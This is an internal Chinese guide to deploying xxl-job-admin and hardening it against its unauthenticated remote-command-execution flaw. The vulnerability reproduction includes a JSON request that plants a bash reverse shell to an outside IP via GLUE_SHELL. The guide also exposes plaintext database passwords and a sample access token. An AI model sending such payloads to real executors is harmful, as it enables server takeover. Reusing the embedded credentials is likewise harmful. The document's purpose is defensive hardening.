xxl-job 安装使用
1、前期准备
- 准备mysql数据为 5.7+
- 初始化脚本,可修改数据库名,表名请勿修改(除非深度定制,自行修改源码)
2、基于rancher k8s部署
选择自己的项目—> 部署服务
名称:xxl-job-admin (自己随意写)
Docker镜像:172.16.102.2:5000/library/xxl-job-admin:2.2.0
命名空间:waf (选择自己项目的命名空间)

容器端口:8300
网络模式:集群IP(测试使用也可以使用NodePort方式)
环境变量:
spring.datasource.url=jdbc:mysql://waf-mysql:3306/waf-job?Unicode=true&characterEncoding=UTF-8 (数据库改为自己创建的服务名、数据库名) spring.datasource.username=root (不一定要root账号,只要有权限操作创建的job库即可) spring.datasource.password=Wiseda@123456 (根据自己设置的填写,密码也可以使用configmap或secrect)

添加ingress,参照如下设置(注意选择自己的命名空间)

测试访问

xxl-job首页

3、基于springboot jar启动
- 源码clone 编译
git clone http://git.spm.wiseda.com.cn:2080/app/job/xxl-job.git
编译建议进行maven私服配置,因私服上已经下载的所需的jar包依赖,构建会比较快
- 修改
xxl-job-admin/src/main/resources/application.properties文件
# 修改数据连接基本上就可以了,其他的参数根据自己需要去修改(如不修改也可以启动通过环境变量传入)
spring.datasource.url=jdbc:mysql://metric-mysql:3306/metric_job?Unicode=true&characterEncoding=UTF-8
spring.datasource.username=root
spring.datasource.password=RepYoLDbBr
- xxl-job-admin打包
直接通过IDEA进行打包即可,如果采用命令的方式执行mvn clean package

- java -jar xxl-job-admin-2.2.0.jar (启动应用)
启动成功后默认通过: http://localhost:8300/xxl-job-admin 访问,(如修改了端口或context-path请自己修改访问地址)

- linux shell脚本参考(根据项目情况自行优化)
# 创建启动脚本start.sh
cat << EOF > start.sh
nohup java -jar xxl-job-admin-2.2.0.jar >xxl-job-admin.log &
EOF
#给start.sh脚本添加执行权限
chmod +x start.sh
# 创建停止脚本stop.sh
vi stop.sh
# 复制下面这行(注意如果端口修改了,自行修改8300对应的端口)
kill -9 $(netstat -nlp | grep :8300 | awk '{print $7}' | awk -F"/" '{ print $1 }')
#给stop.sh脚本添加执行权限
chmod +x stop.sh
4、xxl-job远程命令执行漏洞(反弹shell)
漏洞复现地址:https://blog.csdn.net/guo15890025019/article/details/121945200
主要原因是默认配置下xxl.job.accessToken值为空,不需要任何授权信息即可以进行连接,另一个是管理端使用了默认用户密码admin/123456进行了GLUE_SHELL的配置。
4.1、传统打包部署解决方案
- 1、配置
xxl.job.accessToken的值,不要太简单了(xxl-job-admin配置后,连接的执行器也需要进行配置) - 2、将xxl-job-admin管理端默认用户密码修改为强密码
xxl.job.accessToken配置为环境变量,避免值固定

执行器中的config可以通过
application.yaml进行属性定义,一样定义成环境变量配置参考:
xxl.job.admin.accessToken:${XXL_ACCESSTOKEN:9(QpGim8E6b8@Dy}

4.2 k8s/docker部署
2.2版本:镜像更新为:172.16.102.2:5000/library/xxl-job-admin:2.2.12.3版本:镜像更新为:172.16.102.2:5000/library/xxl-job-admin:2.3.12.1版本:因使用频率较低,暂不提供镜像版本,请升级到2.2或2.3,或直接使用application.properties定义的参数xxl.job.accessToken做为环境变更的key
使用自定义参数,docker镜像版本需更新到
xxl-job-admin:2.2.1、xxl-job-admin:2.3.1
# 注意token值保持一致
# xxl-job-admin环境变量配置
JOB_ACCESSTOKEN:9(QpGim8E6b8@Dy
# job执行器环境变量配置
XXL_ACCESSTOKEN:9(QpGim8E6b8@Dy
使用application.properties参数,需要对应各属性定义的key
# application.properties参数(其他参数也可以通过这种方式配置,只是key会比较长)
# 访问token设置
xxl.job.accessToken:9(QpGim8E6b8@Dy
4.3 漏洞复现
这里复现为token被知晓,所以在配置的token一定要保密,不然一样可以调用。
如:token设置为123456,这里只需要添加XXL-JOB-ACCESS-TOKEN到header中
// 测试脚本
{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "echo 'bash -i >& /dev/tcp/192.168.8.14/9999 0>&1' > /tmp/1.sh",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}
通过BurpSuite进行测试,下载地址:https://portswigger.net/burp/releases ,个人测试下载社区版即可。

一样执行成功

在设置token后,该用不会被执行,会提示token错误的异常。

